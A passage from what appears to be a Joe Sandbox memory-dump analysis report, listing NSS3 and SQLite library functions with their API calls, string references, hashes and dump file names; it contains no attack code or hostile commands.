w=ll, xrefs: 6C7C1C44
non-deterministic use of %s() in %s, xrefs: 6C7C1C85

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=ll
API String ID: 1840970956-585177014
Opcode ID: 35af3312608f9c8cbcbba00d69d24ffa6fdf47343310f0d46ccf278686da6f0d
Instruction ID: da4735a0d478b8539ebf88ee6c60c0e02cb1c09b502c1b9b4a479ed638d7c7f6
Opcode Fuzzy Hash: 35af3312608f9c8cbcbba00d69d24ffa6fdf47343310f0d46ccf278686da6f0d
Instruction Fuzzy Hash: 430124B5B001005BD720AE2CD9129B177E5EF8634CF54087DE9449BB02EB32E86AC756

Function 6C7A4D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C7A4DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C7A4DE0

Strings

misuse, xrefs: 6C7A4DD5
API call with %s database connection pointer, xrefs: 6C7A4DBD
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C7A4DCB
%s at line %d of [%.10s], xrefs: 6C7A4DDA
invalid, xrefs: 6C7A4DB8

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 25381726d37680ffacf1e276d1eab8320dc83283fe89e6746a059d4c14ea459c
Instruction ID: aa47db97999a4ba23b90fb64ce4a00b07c9b58a761ffea995c40147b9e5f77e6
Opcode Fuzzy Hash: 25381726d37680ffacf1e276d1eab8320dc83283fe89e6746a059d4c14ea459c
Instruction Fuzzy Hash: CEF02422B056642BD7104094CF12F833B955F02328F161EB0FF087BF52DA079841A294

Function 6C7A4DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C7A4E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C7A4E4D

Strings

misuse, xrefs: 6C7A4E42
API call with %s database connection pointer, xrefs: 6C7A4E2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C7A4E38
%s at line %d of [%.10s], xrefs: 6C7A4E47
invalid, xrefs: 6C7A4E25

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 6341d4b9d5df547854a83adf70fc7087c9c888e18c2276fca27cd386d1be8bd7
Instruction ID: 3fdeef6f5e6d45d4af0845249be948ad70f103d4a18487d0c6dc47ffc1fe2f3f
Opcode Fuzzy Hash: 6341d4b9d5df547854a83adf70fc7087c9c888e18c2276fca27cd386d1be8bd7
Instruction Fuzzy Hash: 2DF0E911F4D9282BD72001999E14F83379D571232AF095AF1EA0967F92DB0698626295

Function 6C6D9FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6DA086
EnterCriticalSection.KERNEL32(?), ref: 6C6DA09B
PR_Unlock.NSS3(?), ref: 6C6DA0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6DA0E9
TlsGetValue.KERNEL32 ref: 6C6DA11B
EnterCriticalSection.KERNEL32(?), ref: 6C6DA12F
PR_Unlock.NSS3(?), ref: 6C6DA148

Part of subcall function 6C6F1A40: PR_Now.NSS3(?,00000000,6C6D28AD,00000000,?,6C6EF09A,00000000,6C6D28AD,6C6D93B0,?,6C6D93B0,6C6D28AD,00000000,?,00000000), ref: 6C6F1A65

Part of subcall function 6C6F1940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6C6F4126,?), ref: 6C6F1966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6DA1A3

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: 155999fb533751da658e2bbd02dc22b9ecb3a041240919c9cce0e6565f949510
Instruction ID: 5279015ba04148727140c41d5fe1b7c3b360e0be5d89e9820589957ccb784ff4
Opcode Fuzzy Hash: 155999fb533751da658e2bbd02dc22b9ecb3a041240919c9cce0e6565f949510
Instruction Fuzzy Hash: 5C51E9B1A046009BEB109F69DC48AAB77B9AF8634CB164439DC1997702EB31F845C6D9

Function 6C710C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C711444,?,00000001,?,00000000,00000000,?,?,6C711444,?,?,00000000,?,?), ref: 6C710CB3

Part of subcall function 6C77C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C77C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C711444,?,00000001,?,00000000,00000000,?,?,6C711444,?), ref: 6C710DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C711444,?,00000001,?,00000000,00000000,?,?,6C711444,?), ref: 6C710DEC

Part of subcall function 6C730F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C6D2AF5,?,?,?,?,?,6C6D0A1B,00000000), ref: 6C730F1A
Part of subcall function 6C730F10: malloc.MOZGLUE(00000001), ref: 6C730F30
Part of subcall function 6C730F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C730F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C711444,?,00000001,?,00000000,00000000,?), ref: 6C710DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C711444,?,00000001,?,00000000), ref: 6C710E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C711444,?,00000001,?,00000000,00000000,?), ref: 6C710E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C711444,?,00000001,?,00000000,00000000,?,?,6C711444,?,?,00000000), ref: 6C710E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C711444,?,00000001,?,00000000,00000000,?), ref: 6C710E79

Part of subcall function 6C721560: TlsGetValue.KERNEL32(00000000,?,6C6F0844,?), ref: 6C72157A
Part of subcall function 6C721560: EnterCriticalSection.KERNEL32(?,?,?,6C6F0844,?), ref: 6C72158F
Part of subcall function 6C721560: PR_Unlock.NSS3(?,?,?,?,6C6F0844,?), ref: 6C7215B2

Part of subcall function 6C6EB1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C6F1397,00000000,?,6C6ECF93,5B5F5EC0,00000000,?,6C6F1397,?), ref: 6C6EB1CB
Part of subcall function 6C6EB1A0: free.MOZGLUE(5B5F5EC0,?,6C6ECF93,5B5F5EC0,00000000,?,6C6F1397,?), ref: 6C6EB1D2

Part of subcall function 6C6E89E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C6E88AE,-00000008), ref: 6C6E8A04
Part of subcall function 6C6E89E0: EnterCriticalSection.KERNEL32(?), ref: 6C6E8A15
Part of subcall function 6C6E89E0: memset.VCRUNTIME140(6C6E88AE,00000000,00000132), ref: 6C6E8A27
Part of subcall function 6C6E89E0: PR_Unlock.NSS3(?), ref: 6C6E8A35

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 093f82a85c2b2c581e2d7a329b00c7c18471a394aec82a17046570b83c862c64
Instruction ID: 0da0843333d46166d748959bd045777f53b4eaf572f560aa44a875249f2b6f2f
Opcode Fuzzy Hash: 093f82a85c2b2c581e2d7a329b00c7c18471a394aec82a17046570b83c862c64
Instruction Fuzzy Hash: 5F51D8F6D042045FEB109F64DD85AAB37A8AF09258F190034EC1997B12FB31ED2986E6

Function 6C6C6E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C6C6ED8
sqlite3_value_text.NSS3(?,?), ref: 6C6C6EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C6C6FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C6C6FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C6C6FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C6C7010
sqlite3_value_blob.NSS3(?,?), ref: 6C6C701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C6C7052

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 57106c62814e63cc2731019aecd7cfd4332ef3dbed9cd0df4d8724aba0c01159
Instruction ID: ce7988dcb396e88edf161d175ae93c85c376528baaa0726dad8448b8abf105a1
Opcode Fuzzy Hash: 57106c62814e63cc2731019aecd7cfd4332ef3dbed9cd0df4d8724aba0c01159
Instruction Fuzzy Hash: A461B0B1F042098BDB00CBA4D9547FEB7B2EF45308F284165D425ABB51E732DC16CBAA

Function 6C738F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6C737313), ref: 6C738FBB

Part of subcall function 6C7307B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C6D8298,?,?,?,6C6CFCE5,?), ref: 6C7307BF
Part of subcall function 6C7307B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7307E6
Part of subcall function 6C7307B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C73081B
Part of subcall function 6C7307B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C730825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6C737313), ref: 6C739012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6C737313), ref: 6C73903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6C737313), ref: 6C73909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6C737313), ref: 6C7390DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6C737313), ref: 6C7390F1

Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C7310F3
Part of subcall function 6C7310C0: EnterCriticalSection.KERNEL32(?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73110C
Part of subcall function 6C7310C0: PL_ArenaAllocate.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731141
Part of subcall function 6C7310C0: PR_Unlock.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731182
Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6C737313), ref: 6C73906B

Part of subcall function 6C77C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C77C2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6C737313), ref: 6C739128

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 6fbfbae97be445b86f9e29b2fd450d4caff65731db2f33fcbccba31bf3f7c0cc
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 8451D371A002228FEB109F2ACE88B26B3F5AF54358F155039D91DD7B52EF36E800CB91

Function 6C6E9C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E8850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C6F0715), ref: 6C6E8859
Part of subcall function 6C6E8850: PR_NewLock.NSS3 ref: 6C6E8874
Part of subcall function 6C6E8850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C6E888D

PR_NewLock.NSS3 ref: 6C6E9CAD

Part of subcall function 6C7998D0: calloc.MOZGLUE(00000001,00000084,6C6C0936,00000001,?,6C6C102C), ref: 6C7998E5

Part of subcall function 6C6C07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C65204A), ref: 6C6C07AD
Part of subcall function 6C6C07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C65204A), ref: 6C6C07CD
Part of subcall function 6C6C07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C65204A), ref: 6C6C07D6
Part of subcall function 6C6C07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C65204A), ref: 6C6C07E4
Part of subcall function 6C6C07A0: TlsSetValue.KERNEL32(00000000,?,6C65204A), ref: 6C6C0864
Part of subcall function 6C6C07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6C0880
Part of subcall function 6C6C07A0: TlsSetValue.KERNEL32(00000000,?,?,6C65204A), ref: 6C6C08CB
Part of subcall function 6C6C07A0: TlsGetValue.KERNEL32(?,?,6C65204A), ref: 6C6C08D7
Part of subcall function 6C6C07A0: TlsGetValue.KERNEL32(?,?,6C65204A), ref: 6C6C08FB

TlsGetValue.KERNEL32 ref: 6C6E9CE8
EnterCriticalSection.KERNEL32(?,?,6C6EECEC,6C6F2FCD,00000000,?,6C6F2FCD,?), ref: 6C6E9D01
TlsGetValue.KERNEL32(?,?,?,6C6EECEC,6C6F2FCD,00000000,?,6C6F2FCD,?), ref: 6C6E9D38
EnterCriticalSection.KERNEL32(?,?,6C6EECEC,6C6F2FCD,00000000,?,6C6F2FCD,?), ref: 6C6E9D4D
PR_Unlock.NSS3 ref: 6C6E9D70
PR_Unlock.NSS3 ref: 6C6E9DC3
PR_NewLock.NSS3 ref: 6C6E9DDD

Part of subcall function 6C6E88D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C6F0725,00000000,00000058), ref: 6C6E8906
Part of subcall function 6C6E88D0: EnterCriticalSection.KERNEL32(?), ref: 6C6E891A
Part of subcall function 6C6E88D0: PL_ArenaAllocate.NSS3(?,?), ref: 6C6E894A
Part of subcall function 6C6E88D0: calloc.MOZGLUE(00000001,6C6F072D,00000000,00000000,00000000,?,6C6F0725,00000000,00000058), ref: 6C6E8959
Part of subcall function 6C6E88D0: memset.VCRUNTIME140(?,00000000,?), ref: 6C6E8993
Part of subcall function 6C6E88D0: PR_Unlock.NSS3(?), ref: 6C6E89AF

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: f63c5b54d6d37da85e74aa402b490ae59e535c6ac6ec4b157113caa8a5f81a7d
Instruction ID: b83273e665b81b5439ea8be882d93be1310687e38b9fd37ccad58e2272907f90
Opcode Fuzzy Hash: f63c5b54d6d37da85e74aa402b490ae59e535c6ac6ec4b157113caa8a5f81a7d
Instruction Fuzzy Hash: 485173B0A0AB158FDB00EF68C1846AABBF4BF4935CF15852AD8589B710E770E844CBD5

Function 6C7E9EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C7E9EC0
EnterCriticalSection.KERNEL32(?), ref: 6C7E9EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6C7E9F73
EnterCriticalSection.KERNEL32(?), ref: 6C7E9FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6C7E9FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6C7E9FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6C7EA01D

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: 2ed4d94a290b57801901975f8d58abd13736b412c9d03d88879bdb1540e1cee6
Instruction ID: aacfe51e115db44733a9bde6e27689d7cdb15dd59232ef8efb4337ce06abb3c5
Opcode Fuzzy Hash: 2ed4d94a290b57801901975f8d58abd13736b412c9d03d88879bdb1540e1cee6
Instruction Fuzzy Hash: 1351AEB3800601DFDB209F25D58868AB7F4FF28319F15866AD85957B12E731F885CBD1

Function 6C6DDCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C6DDCFA

Part of subcall function 6C799DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C7E0A27), ref: 6C799DC6
Part of subcall function 6C799DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C7E0A27), ref: 6C799DD1
Part of subcall function 6C799DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C799DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C6DDD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C6DDD62
CERT_DestroyCertificate.NSS3(?), ref: 6C6DDD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6C6DDD81
CERT_RemoveCertListNode.NSS3(?), ref: 6C6DDD8F

Part of subcall function 6C6F06A0: TlsGetValue.KERNEL32 ref: 6C6F06C2
Part of subcall function 6C6F06A0: EnterCriticalSection.KERNEL32(?), ref: 6C6F06D6
Part of subcall function 6C6F06A0: PR_Unlock.NSS3 ref: 6C6F06EB

CERT_DestroyCertificate.NSS3(?), ref: 6C6DDD9E
CERT_DestroyCertificate.NSS3(?), ref: 6C6DDDB7

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: ab10cd8136cb4dd31c9fc423c2ef23033aa5382d22d7053cc3ca7a29a37edb10
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: EF218EB6E011159BDF01AEA4DC40ADEBBB4EF09318B1A0434E818A7715E721F915CBFA

Function 6C765F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C76AADB,?,?,?,?,?,?,?,?,00000000,?,6C7680C1), ref: 6C765F72

Part of subcall function 6C6CED70: DeleteCriticalSection.KERNEL32(?), ref: 6C6CED8F
Part of subcall function 6C6CED70: DeleteCriticalSection.KERNEL32(?), ref: 6C6CED9E
Part of subcall function 6C6CED70: DeleteCriticalSection.KERNEL32(?), ref: 6C6CEDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C76AADB,?,?,?,?,?,?,?,?,00000000,?,6C7680C1), ref: 6C765F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C76AADB,?,?,?,?,?,?,?,?,00000000,?,6C7680C1), ref: 6C765FCC
free.MOZGLUE(?,?,6C76AADB,?,?,?,?,?,?,?,?,00000000,?,6C7680C1), ref: 6C765FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C76AADB,?,?,?,?,?,?,?,?,00000000,?,6C7680C1), ref: 6C765FF4
free.MOZGLUE(?,?,6C76AADB,?,?,?,?,?,?,?,?,00000000,?,6C7680C1), ref: 6C765FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C76AADB,?,?,?,?,?,?,?,?,00000000,?,6C7680C1), ref: 6C766019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C76AADB,?,?,?,?,?,?,?,?,00000000,?,6C7680C1), ref: 6C766036

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
